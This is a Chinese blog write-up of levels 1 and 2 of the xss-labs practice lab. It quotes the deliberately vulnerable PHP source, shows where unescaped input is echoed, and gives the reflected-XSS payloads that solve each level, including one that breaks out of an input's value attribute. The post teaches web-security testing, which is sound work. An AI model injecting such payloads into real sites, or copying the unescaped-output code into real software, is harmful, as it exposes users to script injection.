xss-lab全通关

xss-labs Less-1

首先是代码审计,可以看到是利用name参数进行GET传参,$str没有进行任何的过滤,只要触发了alert函数也就是弹窗了就会自动跳转下一关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>





修改url参数,payload如下

http://xss-labs:86/level1.php?name=<script>alert(1)</script>

xss-labs Less-2

审计一下代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>





看到关键信息,可以看到我们的get传参输入会被直接拼接到""双引号里面

<input name=keyword  value="'.$str.'">

想要绕过我们就将前面的双引号闭合,payload如下

"><script>alert(1)</script>

这样闭合的话input标签就会被提前闭合,然后浏览器就会解析接下来的

posted @ 2025-11-22 11:46  朱迪Judy  阅读(0)  评论(0)    收藏  举报